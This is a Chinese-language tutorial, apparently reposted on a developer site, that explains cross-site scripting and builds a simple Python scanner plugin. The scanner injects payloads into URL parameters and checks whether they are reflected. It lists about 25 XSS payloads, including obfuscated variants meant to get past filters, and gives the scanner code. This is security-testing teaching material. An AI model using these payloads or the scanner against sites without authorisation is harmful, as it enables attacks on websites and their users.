内容简介:跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意的Script代码,当用户浏览该网页之时,嵌入其中的Script代码将会被执行,从而达到恶意攻击用户的目的先做一个很简单的XSS检测工具,通过一些XSS的payload list
什么是XSS
跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意的Script代码,当用户浏览该网页之时,嵌入其中的Script代码将会被执行,从而达到恶意攻击用户的目的
XSS检测原理
先做一个很简单的XSS检测工具,通过一些XSS的 payload
加入到url参数中,然后查找url的源码中是否存在这个参数,存在则可以证明网页存在XSS漏洞
payload list
</script>"><script>prompt(1)</script> </ScRiPt>"><ScRiPt>prompt(1)</ScRiPt> "><img src=x onerror=prompt(1)> "><svg/onload=prompt(1)> "><iframe/src=javascript:prompt(1)> "><h1 onclick=prompt(1)>Clickme</h1> "><a href=javascript:prompt(1)>Clickme</a> "><a href="javascript:confirm%28 1%29">Clickme</a> "><a href="data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+">click</a> "><textarea autofocus onfocus=prompt(1)> "><a/href=javascript:co\u006efir\u006d "1" >clickme</a> "><script>co\u006efir\u006d`1`</script> "><ScRiPt>co\u006efir\u006d`1`</ScRiPt> "><img src=x onerror=co\u006efir\u006d`1`> "><svg/onload=co\u006efir\u006d`1`> "><iframe/src=javascript:co\u006efir\u006d%28 1%29> "><h1 onclick=co\u006efir\u006d(1)>Clickme</h1> "><a href=javascript:prompt%28 1%29>Clickme</a> "><a href="javascript:co\u006efir\u006d%28 1%29">Clickme</a> "><textarea autofocus onfocus=co\u006efir\u006d(1)> "><details/ontoggle=co\u006efir\u006d`1`>clickmeonchrome "><p/id=1%0Aonmousemove%0A=%0Aconfirm`1`>hoveme "><img/src=x%0Aonerror=prompt`1`> "><iframe srcdoc="<img src=x:x onerror=alert(1)>"> "><h1/ondrag=co\u006efir\u006d`1`)>DragMe</h1>
代码编写
为了以后代码编写的方便,我们编写一个函数取出url中的参数,比如 https://wmathor.com/python/?a=1&b=2&c=3
。我们要将1 2 3都取出来进行替换,所以我们先创建一个公共函数来分割这些文本
在文件 lib/core/common.py
中
def urlsplit(url): domain = url.split("?")[0] _url = url.split("?")[-1] param = {} for val in _url.split("&"): param[val.split("=")[0]] = val.split("=")[-1] # Combine urls = [] for val in param.values(): new_url = domain + '?' + _url.replace(val, 'my_Payload') urls.append(new_url) return urls
这个函数很简单,函数返回的是一个元祖,将每个参数用my_Payload标记,到时候替换这个参数就行了
接下来编写XSS检查程序,这个程序也是基于一个爬虫的框架
在开始之前,需要在目录新建一个data文件夹,这个文件夹用于存储一些数据。然后新建一个 xss.txt
,内容为之前的xss payload list
XSS检测程序代码
在 script
目录下新建文件 xss_check.py
。代码如下
#-*- coding:utf-8 -*- from lib.core import Download, common import sys, os payload = [] filename = os.path.join(sys.path[0], 'data', 'xss.txt') f = open(filename) for i in f: payload.append(i.strip()) class spider(): def run(self, url, html): download = Download.Downloader() urls = common.urlsplit(url) if urls is None: return False for _urlp in urls: for _payload in payload: _url = _urlp.replace("my_Payload", _payload) print("[XSS test]:", _url) # We Need test and spilt all paramters of URL _str = download.get(_url) if _str is None: return False if (_str.find(_payload) != -1): print("XSS found:%s" % url) return False
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 基于爬虫开发WebShell爆破插件与备份扫描
- 首次 golang爬虫插件gocolly/colly 使用经历
- EasySelect 1.1.0 发布,能够快速构建爬虫的浏览器插件
- 爬虫需谨慎,那些你不知道的爬虫与反爬虫套路!
- 反爬虫之字体反爬虫
- 反爬虫之字体反爬虫
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Design for Hackers
David Kadavy / Wiley / 2011-10-18 / USD 39.99
Discover the techniques behind beautiful design?by deconstructing designs to understand them The term ?hacker? has been redefined to consist of anyone who has an insatiable curiosity as to how thin......一起来看看 《Design for Hackers》 这本书的介绍吧!